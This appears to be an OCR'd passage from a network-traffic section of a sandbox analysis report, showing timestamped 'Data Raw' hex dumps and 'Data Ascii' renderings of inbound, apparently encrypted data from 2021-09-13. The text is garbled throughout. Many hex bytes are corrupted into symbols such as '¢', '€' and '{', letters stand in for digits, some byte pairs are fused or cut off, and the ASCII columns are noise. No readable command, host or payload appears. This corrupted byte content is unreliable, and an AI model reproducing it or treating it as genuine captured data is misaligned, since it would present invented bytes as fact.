95 ed e7 e6 32 80 bf 3c 95 60 1c 67 9b 5d ce c9 7c 47 1b 69 db c8 97 9f 17 43 2e 84 05 16 79 25 c7 d9 2a d7 bd 21 fe ff
¢597 5d 28 19 e6 e5 60 b4 75 bd 41 Ob cc 6d cb 2d 75 e8 a4 f0 a0 14 7b 8d ¢9 59 12 al 4f 26 al 73 7b 7d eb f1 3b 33 c3
33¢3813ce9 618370 c6 35 9f5¢ bd 9f e0 fa 69 98 e3 73 30 cb cd 04 01 ¢5 76 3e €9 83 70 90 1c 98 9c f5 5¢ 1d 89 29
ec 80 b3 89 10 82 21 ea 9d 69 4c c4 4c 57 a7 7f 10 84 0d 23 df 7d 2b 5b 42 91 33 dd 4e 7c {7 37 19 3a a7 56 6b 72 8e ed
dc ff 9 eb Oe b0 2a 65 bf 86 3 db d6 b9 3c df d8 df 25 73 9f 0d 70 Of 44 75 b8 10 22 59 39 Ob ec 66 91 b8 c2 3e ad df 09
e7 5acl 85e7 4e 92 08 41 e2 f9 54 d4 b7 c8 f1 61
Data Ascii: he9Cvg!iM$2<g]|GiC.y%*!]( uAm-u{YO&s{};33<ap5\isOv>p\)liLLW#}+[B3N|7:Vkr*e<%spDu"Y9f>ZNATa

2021-09-13 23:07:18 UTC 498 IN Data Raw: 65 3e 38 3f 39 2e 8a 96 b9 22 c8 fe a0 50 50 34 90 b8 5f 72 ac a8 37 db 33 €9 04 07 57 d4 23 02 86 91 d2 91
ec 28 38 bf 83 98 3d a6 44 51 3d 05 26 d3 76 91 a6 18 67 ac 61 6f €9 09 c2 3a 04 bb 91 61 aa 86 c8 c6 9c da c7 51 52 79
a8 42 7e 3¢ 73 65 7b 52 75 5b 01 c4 de 8¢ 02 Oe 67 72 fc 5e 71 81 c0 c2 64 f5 e4 63 a7 €8 64 7b 67 de 01 f6 6d b0 17 d8
€814 45 31 36 24 €9 7b 8d 9c 7c 64 6¢ 30 bd 8c 4c 8 ef 46 1f 22 5b 61 ab d7 4c e8 e0 2c ab le la a4 91 3e 7d 82 ca 55
7b d3 14 09 18 f1 1d 91 3e 85 6a 65
Data Ascii: €>8?9."PP4_r73W#(8=DQ=&vgao:aQRyB~<se{Ru[gr*qdcd{gmE16${|dIOLF"[aL,>}U{>je

2021-09-13 23:07:18 UTC 498 IN Data Raw: e4 b5 be 83 73 d2 0d 8¢ db 80 58 0d 23 4b 65 €9 77 4d 7b ad b2 60 e5 2d a8 b0 f2 7d e7 ee bc bd 36 25 fa 2e
ee dd 2c a6 b6 59 71 52 ee 20 90 d6 08 ae 90 7c dd ab 46 1b 07 99 10 74 35 bc f4 €2 1c 78 d4 b3 b0 58 38 34 ea d4 a3
52 96 48 c4 el 5¢c a9 49 12 8¢ 2e 98 €3 81 eb be 19 ¢6 19 cd bc 6a 4d cc 16 37 f5 eb 5b 3c 5e 6f 8f 8f b8 6f 48 {2 42 ee 7
d1 bl 5c 39 96 b3 ef 3a 13 ee b1 82 58 b6 bc 3a a3 1b 9e aa 13 42 90 58 dd 6e ff ¢7 36 40 ¢7 12 Oc 22 7a b2 e8 17 59 c8
07 4f 0a e2 35 d6 aa b4 2b 75 56 €6 27 2a 77 81 40 cd 97 b0 1e 62 c8 98 71 c1 9f a0 c5 41 b5 f4 e6 72 57 9e f0 25 12 d3
319155 2a 7778 d1 95 e7 a2 9c b5 8c el 94 71 Oa 1c ed Oa 12 06 11 al c8 85 df 18 b1 dd 59 84 04 29 5a b3 3a fa f9 19
69 70 Oc f5 f3 b6 b1 29 2e 49 a7 43 72 17 70 97 9b 3a 9a
Data Ascii: sX#KewM{-}6%.,YqR |Ft5xX84RH\I.jM7[<*00HB\9:X:BXn6@"zYO5+uV*w@bqArW%1U*wxqY)Z:ip).ICrp:

2021-09-13 23:07:18 UTC 499 IN Data Raw: 73 ae 43 b6 db 84 5b bd 4a 7 e7 1le c0 66 e3 el 17 2a 46 fb 25 7a el Oc 85 51 50 64 c6 9a c0 7e Oe 54 13 3b
ea 66 6e 8c d2 2e 13 77 d4 b8 17 02 d5 09 c1 e3 01 a9 ac 2d d2 d9 6a a5 20 53 8e be 95 2c 57 f0 6b f3 4e 84 3a ed c3 2¢
Ob b7 9b 1c 66 4a fb 72 08 78 75 40 ee 0f 01 51 49 a0 ef 4b 86 8f a0 0a 52 5d ee a3 39 3d 4e d8 c6 7f 22 b4 99 49 35 79
62 6f 12 5f 46 09 d8 77 b9 e3 9c 41 c6 62 4e 72 08 24 73 Oc 5f 55 d1 6e bl c2 ef db 1c a9 94 a3 6a 3b d7 3c 86 d1 8d f4
d5 45 c0 5a 18 8e 22 8d 5a d3 10 cc 59 f5 c0 5¢ 90 c1 55 a2 11 85 4d 06 48 e9 ce e6 eb f0 b7 dc 58 12 52 af db 60 20 cc
ce b6 3a Ob ff be 12 21 bf 45 bc 74 af al d5 53 a5 8f 10 1e 52 51 27 a7 bf 30 19 03 3d 3a d2 cd b9 89 a3 7f f1 1c 12 8c ea
28 e5e2fbfc20e7 c4 1d 73 ac 71 47 2e 61 18 3f 78
Data Ascii: SC[Jf*F%zQPd~T;fn.w-j S,WKN:,fIrxu@QIKR]9=N"I5ybo_FwWAbNr$s_Unj;<EZ"ZY\UMHXR" :!EtSRQ'0=:(
sgG.a?x
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 500 IN Data Raw: a2 64 85 83 0Of ae 3f ad 70 b4 04 93 b6 13 2f 8 fe c1 1a c5 05 10 Of 7e 22 57 3e 46 b0 72 18 40 a0 62 92 e2 4e
b7 c6 e0 a6 78 6b 76 cc 18 93 df 3b 88 69 88 d0 03 9a d3 el 9d 09 b4 f9 bb 3e 09 b0 30 2f 4d ba 95 8d 19 6b 6b 17 bc e5
92 ca e5 98 cf 9e e7 31 b5 2a 9f 75 e8 28 45 81 5b 80 80 5d f2 9f 55 8b d7 39 02 f7 32 bc b0 5¢ 24 74 04 54 45 0d 13 64
2a 41 ea 45 16 79 47 86 6b 4d a7 dc 42 95 df a9 f2 2b 4d 75 e6 e5 09 4a 9¢ 80 27 01 73 49 a2 48 1b 9c 84 9c cf 7b 10 ef
al 3c 73 b9 99 61 cf 90 8d 5¢c 9e b9 98 06 a6 4b 19 c6 4b 80 0d e7 50 25 cc b6 32 bf 9f e0 97 06 ea 86 53 f3 14 00 fb 01
c5 76 10 f3 83 70 be 0a 21 b4 f5 5¢ 1d 89 07 8d f2 d0 89 10 82 21 c4 41 89 6¢ c4 f0 81 e0 51 71 f6 67 23 df 7d 2b 75 26 eb
33316 cd ca 37 c5 ec e0 56 57 a4 c9 ed a4 25 8e
Data Ascii: d?p/~"W>Fr@bNxkv;i>0/Mkk1*u(E[JU92\$tTEd*AEyGkMB+MuJ'sIH{<sa\KKP%2Svp\!AlQqg#}+u&37VW%

2021-09-13 23:07:18 UTC 502 IN Data Raw: 9f 45 a5 dd e8 80 af ee 82 c6 d5 40 24 f1 93 a3 74 72 18 25 5f db fa 27 06 84 70 73 6b bf ef 6b eb 3b Oe b4 30
fe 77 90 a3 15 b5 82 ec 6¢ 4e fd 51 60 42 ad b7 6b 41 2¢c 5¢ 9b 52 19 12 a6 ec af 1b f3 d2 99 87 94 e7 62 a8 4d 0d 90 c5
0d e0 05 86 db 7c 69 21 c0 69 be 74 27 5 c8 21 ff db a4 85 c0 c0 64 76 13 28 Ob d3 4c a0 9a 35 41 83 4a 56 d2 7a bd ec
fa d3 e2 1f d3 d8 96 c3 ab 9b c0 6¢ 10 7b 98 1c b7 4b 70 cd €8 7a 1f 54 85 b3 82 €0 71 68 Oa 2e 89 6f 1f ab 94 f0 4c 4 f2
60 a8 e7 c7 7d 3e 66 86 83 18 d0 3a f9 8b 5a 31 5e 53 40 9a 03 b1 cb a6 1f 3e f1 49 f5 77 de d8 27 12 00 7b 56 89 e6 6¢
df 87 8¢ 64 52 14 cf 4a 2d 45 fe 18 19 69 d9 1d 31 7e 9c dO dc 31 97 69 30 dd b0 b7 89 60 d9 05 b5 90 82 7d 25 07 79 dc
84 5b a2 9f c4 8b 79 16 53 aa 57 Ob 09 8b b4 6a dc
Data Ascii: E@$tr%_"pskk;0wINQ BkA \RbM|ilit'dv(L5AIVzK{KpzTgh.oL }>f:Z1"S@>Iw'{VIdRJ-Ei1~1i0"}%y[ySWj

2021-09-13 23:07:18 UTC 503 IN Data Raw: a7 dc 42 95 df a9 f2 2b 4d 75 e6 e5 79 7a 4e c8 ff 8d e2 Oe 5a 94 5¢ 9c 2c 7d 88 7b 10 ec al 3c 73 c5 4f 26 cf
1c 5b 1b 9e 85 4e 41 ba ad 8b 81 4f 5f 4a e7 Oc 6¢ 11 fe 32 bd 9f e0 97 06 ea 86 53 Oc eb ff 00 01 ¢5 76 f4 68 c4 70 9e f9
bf f3 fd 5¢ 1d 89 07 8d f2 dO 76 ef 7d de c4 f1 13 24 84 4¢c 57 a7 b1 a6 bl 67 8f 7f 35 2b 76 25 eb 33 f3 3a 1b 8d c8 €6 c5
58 56 6b 72 8e ad dc ff c9 3b d3 f7 0a Oe c3 c3 al a3 34 8e 7e df d8 df 25 38 be b5 8f Of 44 75 b8 c8 bc 11 39 0Of ec 66 91
b4 c2 3e ad 28 f6 18 a5 ¢5 85 e7 4e d2 08 41 e2 41 8¢ 93 b7 c9 f1 61 69 0a 58 19 f1 ad 04 e0 Oa 32 c¢6 08 b9 16 9c 49 95
89 f7 9b 8a ba c8 74 13 94 97 20 85 44 69 50 b2 b9 8b f0 c9 e8 ff 80 59 30 6b 47 62 36 fa 1b c3 67 46 a3 70 3e ac be 98
f9 8¢ Oc ¢5 d1 1b f0 56 5b 79 ¢3 2d 60 3c df
Data Ascii: B+MuyzNZ\,{<sO&[NAO_JI2Svhp\v}$LWg5+v%3:XVkr;4~%8Du9f>(NAAaiX2It DiPYOkGb6gFp>V[y-'<

2021-09-13 23:07:18 UTC 504 IN Data Raw: 80 6e 10 7b 64 ec 28 Oc 70 15 09 3d 1f 2c 67 f4 82 e0 71 68 fe b2 c1 6f 97 4f d3 fO 84 68 ba 60 aa ef 66 35 3e
9e 5d ¢4 e7 2f ¢5 06 8b 7a 31 5e 13 44 9a 03 11 08 7e 57 fe f2 d9 b2 97 3a 9f 27 6a da 3c 56 89 e4 6¢ df 87 38 bd 15 14
b7 93 6a 45 86 c2 5e f1 45 55 31 ce 07 4d 9b a9 Ob 21 30 df b0 b7 89 60 d9 05 b5 6f 7d 82 da 07 6d 47 cc 1b 26 43 83 3b
be 8c 14 9a 7b 93 4e 6b 7c cc 9b 68 c5 82 1b d9 ff 13 9f da c4 14 69 9d 5f ac e8 25 95 90 4d 08 66 84 de 31 b4 2e 5f 43
8c c5 e2 eaad a2 98 87 2b 47 Oe cd e3 d1 46 97 55 db 93 05 72 2b 1f c¢6 b0 e5 d8 c6 de 89 33 e9 2b ee ¢9 8¢ 92 1c c1 10
df c4 67 5b 69 11 fd c1 6d 09 69 d7 7f ce c1 dc 95 6f 07 b6 8d 91 48 a4 6¢ ce a2 e0 63 c4 0d ae 3f ad 94 61 43 93 46 c6 6
€8 86 6f fe 8d 05 7c e9 39 f2 9d d5 Oe bl 72 18 40
Data Ascii: n{d(p=,gghoOh’5>]/z1"D~W:'j<VI8JE"EU1IM!0 o}mG&C;{Nk|hi_%Mfl._C+GFUr+3+g[imioHlc?aCFho|9r@

2021-09-13 23:07:18 UTC 505 IN Data Raw: 3a 73 08 b0 39 a3 19 84 33 42 d0 c9 2d 45 de df a8 16 66 2 48 95 42 75 58 8a 24 59 21 90 ea 66 a0 2f c4 3e ff
4c 0f e7 29 5e 83 e7 da 09 Oe 41 27 62 52 d4 41 52 f7 61 5¢ 96 5e 19 bf 33 02 €0 65 b2 20 4f 31 1a 45 Oe 30 €5 2b dc 48
26 ce 74 cc 08 91 20 79 d8 6f 50 93 25 8d f0 8e 2b 76 8b 59 3c 7 Of f2 4a fa 1b ed 13 23 db 04 e5 37 28 67 f9 8¢ Oc 55 1f
1b fO f7 61 a2 84 03 14 59 a7 55 80 8e a8 la el d7 32 57 f8 b2 d4 31 2a a2 a0 cf d3 01 33 cc 3f 6f 92 3a eb {7 0f 5b f9 32
1a 08 e2 92 08 80 79 92 4c 92 5e 78 82 b6 db 29 b9 e3 a3 11 95 cc 88 b8 99 35 c1 81 8e f1 Of 56 ee 06 d0 2¢ 89 dc d1 75
4c bd ac d2 06 16 a7 99 1e af 01 aa c8 dc eb 91 d6 ea d0 14 ee 3e 02 6e ae e5 ed dd e8 38 6¢ €8 82 c2 d5 40 db 20 2f Oe
20 56 40 66 5e 9a fa 27 de d8 f4 75 17 2c a7 6b
Data Ascii: :s93B-EfHBuX$Y!f/>L)*"A'bRARa\"3e O1E0+H&t yoP%+vY<J#7(gUaYU2W1*3?0:[2yL"X)5V,uL>n8l@ / V
@fu,k

2021-09-13 23:07:18 UTC 507 IN Data Raw: f7 ff 58 c5 1b d9 ff 13 9f 8a 67 5c 69 9d 5f ac €8 25 95 90 4d f7 99 7b 20 31 b4 2e a0 fc 73 3a cc 44 Oe e5 ba 82
b8 5e Of cd e3 d1 de 79 12 db 93 79 94 6¢ 1f b2 13 ad d8 c7 de 89 33 €9 2b ee c9 73 6d e3 3f 10 df c4 98 e4 96 ee a5 c7
cd 4e 4b d2 ec d7 c2 dc 95 6f ¢3 59 ca 91 48 34 cf 86 a2 64 85 83 0d ae 3f ad 94 61 43 93 46 c6 68 €8 87 1b 5d c5 fa ef fO
8183 a7 3046 bl 721840 d9 08 d4 e2 b0 48 39 1f 22 12 2d 76 ae 1d 00 c6 eb 5d 2e 88 dO f3 dd d3 el 9d 09 b4 f9 bb 3e
09 c0 aa 67 4d 9a 43 ca 19 6b 6b 17 bc e4 92 ca e5 65 30 61 18 al 09 2b 9f 49 3e 6f 45 51 eb 81 80 5¢ f2 9f 55 48 27 37
02 f4 32 bec b0 e2 4e 32 04 89 bf 61 f5 67 2a 41 ea 41 e6 3e 47 a6 bd Oa a7 dc 42 95 df a9 f2 2b 4d 75 e6 e5 09 da 06 c8
27 6¢c a5 0e a2 b7 e4 63 7b 4b a5 3d 10 ec al 3c
Data Ascii: Xg\i_%M({ 1.s:D"yyI3+sm?NKoYH4d?aCFh]JOFr@H9"-v].>gMCkkeOa+I>0EQ\UH'72N2ag*AA>GB+Mu'lc{K=<

2021-09-13 23:07:18 UTC 508 IN Data Raw: d6 21 a4 e3 bb 77 a7 d7 cd 99 6e 4b 5¢c 49 58 a2 ab el a7 64 d5 d5 5d 17 6d 83 89 Oe 91 f5 ad 32 17 26 96 ff
70 f4 5d eb 26 92 5e 78 2b db 5d 2f b6 53 a0 11 21 8f a7 dc f6 41 a0 a5 Of 9¢ 49 56 ff b6 13 2a 36 b5 97 75 5e 93 9c e2 a2
1d 86 99 0d 1b c2 ac c8 d8 eb 91 c2 ¢4 93 46 75 77 1c 2d fb e5 ed dd 32 ed e9 ee 94 c6 d5 40 3e 63 2a 5¢ 60 72 18 25 fa
b6 bc 27 c6 64 37 73 e7 4d el 6b f2 3b Oe b4 cb 93 31 90 46 ea 4a 7d ea 02 08 fd 02 60 42 ad fb b2 06 2c 09 00 1a 19 13
a6 ec af 0f f3 d2 99 63 6b 18 9d b4 4d 0d 90 84 0d e0 05 f2 f1 7c 69 7 18 2e be a0 f8 b2 ¢8 10 1e 9c a4 b4 1a 87 64 36 €6
6f Ob 93 4c a0 9a 35 41 83 4a 55 d2 7a bd f0 e5 d4 e2 5f d3 d8 96 c3 ab 9b c0 6e 10 7b 98 5a a8 4c 70 37 Oc ae 06 20 67
f4 82 68 84 2f 0a 2f 89 6f 1f df 61 b7 4c f4 f2 60
Data Ascii: 'wnK\IXd]m2&p]&"x+]/SIAIV*6urFuw-2@>c*\'r%'d7sMk;1FJ} B,ckM|i.d6oL5AIUz_n{ZLp7 gh//oal."

2021-09-13 23:07:18 UTC 509 IN Data Raw: 44 a0 62 92 95 c0 Oe 39 1b a6 78 6b 09 fd 5e 93 db ef 5d 2e 02 al 45 9a f1 e4 Oe 10 a4 f9 bb 3e c9 39 ed 67
4d 9a 43 ca 19 6b 6b 17 bc e5 92 ca e5 9a cf 9e e7 01 63 6d 9e 49 3e 6f 45 f9 81 ¢7 7f a2 0d 60 f6 8a Ob 71 02 f6 32 bc 1b
2d 62 74 05 ab ba f2 5a 15 6¢ 41 e8 05 16 79 95 d7 fb 0a a6 dc 42 95 34 d8 b4 2b 49 75 e6 e5 ff ab 40 c8 26 6d a5 Oe 54
39 5d 9¢ 82 9c cf 7b 11 9e e7 3c 74 c5 4f 26 c3 6e 1d 1b 96 85 4e 41 bl 41 85 81 43 80 0d e7 4f ¢7 10 fe 3a bd 9f e0 b0
74 ac 86 5b Oc eb ff 2b 73 83 76 18 b3 83 70 89 14 b1 3 fd 5¢ 1d 89 38 ff b4 d0 81 10 82 21 83 83 55 24 e6 49 c4 be 50
7116 67 47 25 3a 2b 75 25 eb 33 f3 3a 1b 8d 37 19 3a a7 56 6b 72 8e ed dc ff c9 ea Oe b0 Oa c5 e0 7b 5e bb a4 8f 7e fd
dd 4c 3c 8e 60 f2 8f 9f be 32 b8 10 22 59 39 Ob ec 66
Data Ascii: Db9xk"].E>9gMCkkcmI>0E"q2-btZIAyB4+lu@&mTIK<tO&NNAACO:t[+svp\8!USIPqgG%:+u%3:7:VKr{ ~L<
2"y of

2021-09-13 23:07:18 UTC 511 IN Data Raw: 6b eb 3b Oe b4 30 fe 77 91 5c ea 4a 82 13 93 b1 fd 11 60 42 52 04 4d f9 2c 04 00 1a 19 13 a6 ec af 1b f3 d2 98
78 6b 18 9c a8 4d 0d 58 7b 4a e0 45 c2 04 3b 69 f9 18 2e be bc f8 b2 2e 4d 5f 9¢ 86 b0 89 9e 67 76 13 28 {7 2d Ob a0 9b
3541 83 5e aa 95 7a bd 00 23 94 e2 1f d3 d8 96 c3 ab 9b c1 6e 10 7b 67 f7 90 f3 7c 60 4f 3d 1f 2c 67 f4 82 e0 71 68 Oa 2e
89 6f 1f ab 94 f0 4d f4 f2 60 a9 ef 66 35 3¢ 9e 5d c4 19 d0 3a f9 a3 85 76 5e 13 44 9a 03 b1 eb 39 57 3e 11 9e b2 86 9c 99
27 30 05 e8 4f 8d e4 6¢ df db c7 fa 15 14 b7 93 6a 45 86 c2 5e 69 d9 1d 31 7e e4 0a 9b 31 97 69 30 dc b0 b7 89 9f 26 fa
4a b5 f7 3b 25 07 6d 47 cc 76 53 05 83 8a 5d ch 14 92 ea 92 4e 89 98 8b 9b 53 6a 83 1b fb fa 80 86 8b 67 5¢ 69 3d a0 eb
€825 95 90 4d f7 99 7b 21 31 b4 2e 5f 03 8¢ c5
Data Ascii: k;0w\J'BRM,xkMX{JE;i..M_gv(-5A"z#n{g| O=,ggh.oM f5<]:v*"D9W>'00IjE"i1~1i0&J;%mGVS]INSjg\i=%M{!1._

2021-09-13 23:07:18 UTC 512 IN Data Raw: 3d 73 c5 4f ee cc 54 5b 1b 9e 85 4e 41 3a 7b c3 al b4 7f f2 01 38 f4 56 fe 32 bd 9f 50 Oc 4e ea 22 ae f3 14 b7
6d 40 c5 54 15 20 9a 6¢ be 66 7 cb f1 14 1d 8a 07 8d f2 2c 8a 58 82 21 c4 f1 13 24 c4 4c 57 a7 51 71 f6 66 23 df 7d 27 75
25 eb 27 f3 3a 1b 98 37 19 3a a6 56 6b 72 96 €8 94 ff df eb Oe b0 13 3a 1f 84 bb db d6 c9 7f df d8 df Od 89 28 f2 8f Of 44
75 a2 10 22 59 22 Ob ec 66 90 b4 c2 3e 95 d2 41 e7 a5 3a 7a 18 4e 92 08 41 e2 f9 54 d4 6f b1 b7 61 68 0a 58 19 12 d7 42
€0 Oa 2e 26 4f 57 fe 05 Oe 96 79 2d dc 8e c3 8e 74 13 94 97 20 81 3d 2f 50 b7 b8 8b f0 c6 11 64 c7 5¢ 2c 7 Of 75 4d bc 1b
c4 67 46 a3 6f b8 15 41 62 f9 8c Oc da e8 5d fO 5f bb a7 84 07 19 7a df 2b a4 e3 c6 2f 98 91 32 6d 91 b4 d4 24 1e a2 a0
ed a7 64 4b f8 62 51 92 71 76 f1 0f c4 92 74
Data Ascii: =sOT[NA:{8V2PN"'m@T If XISLWQqf#}'u%":7:Vkr:(Du"Y"f>A:zNAToahXB.&OWy-t =/Pd\,uMgFoAb]_z+/
2m$dKbQqvt
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kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 513 IN Data Raw: 72 a8 ef 66 04 42 d8 5d d0 18 d0 3a c0 f7 3¢ 31 4b 53 44 9a 47 cd ad 39 46 3e 11 9e b2 77 de d8 d8 ed ff 84
56 89 e4 6¢ df 87 38 bd 15 88 ff 93 8e bb 79 3d 27 ea 98 1d 31 7e e4 0a 9b ad df 69 e8 23 4f 48 c9 e7 98 05 b5 90 82 7d
95 9c 25 47 b8 a5 d9 bc 3a Oc 1c cb 36 af Oc cd 5d 8b 98 8b d3 19 57 ¢5 19 d9 ff 13 7f 83 2f 5¢ 69 9d 5f ac €8 25 95 90 4d
7 99 7b 20 31 b4 2e 5f 03 8c c5 1d d1 b7 1a 98 87 2b 47 Oe cd €3 d1 26 ea 13 db 93 79 94 6c 74 ce 55 ad da c7 de 89 45
95 6d ee c9 73 6d e3 48 6¢ 99 ¢4 63 1b 69 11 7c d1 cd 4e 6¢ d7 7f ce 4d a0 d3 6f 01 b6 8d 91 48 34 cf 86 a5 64 85 83 9a
d2 79 ad 93 61 43 93 f5 ba 2e e8 8f 1b 5d c5 bb 6¢ 49 7e f5 cd 76 46 77 Oe 5e 40 ab 62 92 e2 60 34 7f 1f aa 78 6b 76 55
64 d5 df e8 5d 2e 88 34 7f dc d3 ef 9d 09 b4 16 c7 78
Data Ascii: rfB]:<1KSDG9F>wVI8y="1~i#OH}%G:6]WN\i_%M{ 1._+G&yltUEmsmHIci|NIMoH4dyaC.]ll~vFw @b 4xkvUd].4x

2021-09-13 23:07:18 UTC 514 IN Data Raw: 4e 6e 4b 3d f9 32 96 09 e7 5a c5 85 57 d5 da 08 ed 1c 06 ab 88 17 88 f1 43 6¢ 99 41 Oa f1 af 04 cO 04 66 26
4d b9 86 43 b6 9b 31 2d dc 8a ba c8 74 13 94 97 20 85 44 69 51 b2 b8 8b fO c9 68 22 38 a6 d3 08 0Of 62 34 fa 1b c3 67 46
8f 0f 87 53 41 67 f9 8¢ 38 ba d7 1b f2 56 bb a7 b8 52 26 3c df 21 a4 e3 fa 65 a7 d7 36 66 91 b4 93 5b 58 a2 a5 el a7 64
19 ¢7 5d 17 94 7c 76 f1 0f 98 eb 32 1d 26 96 ff 2d 8b 1b eb 2f 92 5e 78 fb ¢9 5d 2f b0 53 a0 11 11 9d a7 dc ff 41 a0 a5 37
8e 49 56 e5 b6 13 2a 1e a7 97 75 40 93 9c e2 fa 0f 86 99 19 1b c2 ac 6f a7 ad 91 d8 c4 93 46 08 65 1c 2d e0 e5 ed dd 52
ff e9 ee 84 c6 d5 40 db Oe 6¢ 5c 8b 8d e7 da 1f db fa 27 d9 64 37 73 07 20 a7 6b fa 3b Oe b4 31 fe 77 90 bc e4 02 7d ec 6¢
4e fd 00 60 42 ad €9 b2 06 2¢c 05 00 1a 19 e3 a8 a4
Data Ascii: NnK=2ZWCIAf&MC1-t DiQh"8b4gFSAg8VR&<!e6f[Xd]|v2&-/"X]/SATIV*u@oFe-R@I\'d7s k;1w}IN'B,

2021-09-13 23:07:18 UTC 516 IN Data Raw: d1 f1 66 48 e5 98 87 2b 47 Oe cd e3 d1 46 96 55 db 93 79 94 6c 1f b2 13 ac d8 c7 de 76 cc 16 d4 c3 4b 35 6d
c13b83c6cl67 1b 6951 ee e58b 4e 69 d7 7f ce cl dc 95 6f 07 b6 8d 91 48 34 cf 86 a2 64 85 82 0d ae 3f 52 6b 9e bc
dd c4 80 68 17 79 e4 a2 93 87 56 Of 7f f2 cd 76 18 33 34 18 bf 5f 9d 6d 84 33 Oe 39 e0 59 87 94 18 Oe 5e 93 fd ea ce 37
89 d0 03 9a 5f f2 d5 09 b4 f9 bb 3e 09 c0 aa 67 4d 9a 43 ca 19 6b 6b 17 bc e5 92 ca e4 9a cf 9e 18 fe 9c 92 18 cb 78 6f 45
f9 81 c7 a258 6186 7f fb 4d 71 d2 e5 7a bc bl 5¢ 24 74 b8 b8 2 f2 ec 64 2a 41 ea 05 16 79 47 a6 bd 0a a6 dc 42 95 da
a9 f2 2b 65 75 e6 e5 20 da 06 c8 26 6d a5 Oe 82 5d 53 9¢ 7b 63 30 84 al 6e e7 3c 73 c5 4f 26 73 9e 1d 1b 61 7a bl be 1a
b1 8581 49 80 0d e7 97 37 10 fe 31 bd 9f e0 45 84 ac
Data Ascii: fH+GFUylvK5m;giQNioH4d?RkhyVv34_m39Y"7_>gMCkkxoEXaMqz\$td*AyGB+eu &m]S{cOn<sO&saz|71E

2021-09-13 23:07:18 UTC 517 IN Data Raw: 02 02 6e 96 ff 70 f4 5d eb 28 92 5e 78 82 b6 1b 2f b9 53 a0 11 95 e2 el dd 8 41 a0 a5 bb f1 0f a9 11 49 ec 9e
0f 9e d1 75 4c 93 9c 5d e3 36 c0 98 1e 1b c2 6b 4e 9e eb 93 d6 c4 93 89 3c 5¢ 5a 2e ef e5 ed 07 6e c6 af 11 7d 39 2a a2
5d 48 6¢ 59 74 72 18 cf 99 9d fa 21 de 64 37 81 91 66 a7 6¢ eb 3b Oe 4e b6 b8 77 98 5¢c ea 4a 78 6b 2a 4e df 14 f3 5b aa
fb b2 06 88 1c 48 1a 19 13 a6 ec af 1b f3 d2 99 78 6b 18 9d a8 4d 0d 90 85 0d e0 04 c2 04 3b 96 06 e7 d1 a0 3b be b2 c8
0d 1e 9c 82 32 5c 87 65 76 13 28 3a 54 0a a0 98 35 41 83 76 d2 94 7a be 00 23 94 a5 98 95 d8 95 c3 ab 9b 8f €9 56 7b
9d 08 6f Oc 2a 92 4f 3d 1f 2c 67 f4 a0 e5 e2 71 06 2e 89 6f 17 b2 dc f0 4c f4 f2 60 a8 ef 66 35 3e 9e 5d c4 18 d0 3a f9 8b
7a 31 5e 52 44 9a 03 bl eb 39 57 c1 ee 61 4d 01 59 9e
Data Ascii: np](*x/SAIuL]6kN<\Z.n}9*|HIYtr!d 7fl;Nw\Ixk*N[HxkM;;2\ev(: TS Avz#V{0*O=,gqg.oL f5>]:z1"RD9WaMY

2021-09-13 23:07:18 UTC 518 IN Data Raw: 3e 09 c0 aa 67 4d 9a 43 ca 19 6b 6b 17 bc e5 92 cb e5 9a cf 61 18 fe 9c 32 14 0f 3e 6f 45 f9 81 a0 Ob 1b f2 bd
50 68 54 70 02 f6 32 cc ad 14 24 74 04 ab ba f2 ec 64 2a 41 ea 05 16 79 47 a6 bd Oa a7 dc 42 94 df a9 f2 d4 b2 8a 19 65
82 9c 06 ea 22 fe bc Oc a2 48 1b 00 99 d4 cf 7b 10 ec al 3c 73 c5 4f 26 cf 1c 5b 1b 9e 85 4e 41 a6 33 ¢3 80 4b 80 0d 18 af
4a a9 67 b9 fb 9f e0 97 06 ea 27 d8 4a eb dd 01 92 dc 75 10 b3 83 a0 a3 2e {7 f3 f5 5¢ 1d 89 07 8d f2 d0 89 10 82 21 c4 f1
13 24 c4 4c 57 a6 51 71 f6 98 dc 20 82 91 fe 63 eb 33 f3 3a 1b 5e bc 5f 3a a6 56 6b 72 55 66 9a ff eb ee 9d a9 Ob 3a 1f 84
ad c5 9e c9 7e df d8 df 25 8¢ 60 f2 8f Of 44 75 b8 10 22 59 39 Ob ec 66 90 b4 c2 3e 52 28 f6 18 ae 4e c3 e7 6¢ 97 9b 58 €3
9 54 d4 8f d7 b9 61 69 Oa 58 19 f1 af 04
Data Ascii: >gMCkka2>0EPhTp2$td*AyGBe"H{<sO&[NA3KJIg'Ju\I$LWQq c3:*_:VkrUf:~% Du"Y9f>R(NIXTaiX

2021-09-13 23:07:18 UTC 519 IN Data Raw: 8¢ 8d 53 f3 d0 99 78 6b f8 bf e0 4d 0d 90 85 0d e0 05 c2 04 3b 69 f9 18 2f be bc f8 b2 ¢8 0d 1e 63 5b 4a e5 87
64 76 13 28 Ob d3 4c 34 14 73 41 82 4a 55 d2 e5 33 46 23 94 e2 1f d3 47 18 85 ab 98 c0 6e 10 d1 16 4e 6f 08 70 15 09 8f
91 6a 67 f1 82 e0 71 68 Oa 2e 89 69 1f ab 94 4a c2 b2 f2 67 a8 ef 66 f0 b0 d8 5d cc 18 d0 3a 34 05 3c 31 59 53 44 9a db
3fad 39 5d 3e 11 9e 51 f9 98 d8 20 12 00 7b b8 07 a2 6c d3 87 38 bd ec 9a f1 93 6f 45 86 c2 5e 69 d9 1d ce 81 1b f5 9b
3197 69 36 dd b0 b7 84 60 d9 05 bb 90 82 7d 24 07 6d 47 c4 78 6e 43 83 8b 5d cb 1a aa 9f d4 41 8b 98 8b 9a 10 1f c5 03
fa b7 13 9f 8a 67 5¢ 69 01 17 ac b8 da 6a 6f 7b 5f db 7b 21 31 b4 2e ef 98 ¢4 c5 ce dO b7 1a 05 2f 69 47 2c c8 70 c8 40 96
55 db df 5a dc 6¢ 1f b2 13 ad d8 c7 de 89 33 e9 2b
Data Ascii: SxkM;i/c[Jdv(L4sAJU3F#GnNopjggh.iJgf]:4<1YSD?9]>Q {I80E"i1i6 }$mGxnC]Ag\ijo{ {!1./iG,p@UZI3+

2021-09-13 23:07:18 UTC 521 IN Data Raw: b2 86 53 Oc 95 6¢ 42 01 9c 76 10 b3 Oa €3 f8 66 ad f3 f5 5¢ 1d 89 07 8d a9 d0 89 10 16 b2 82 f1 4f 24 c4 4c c8
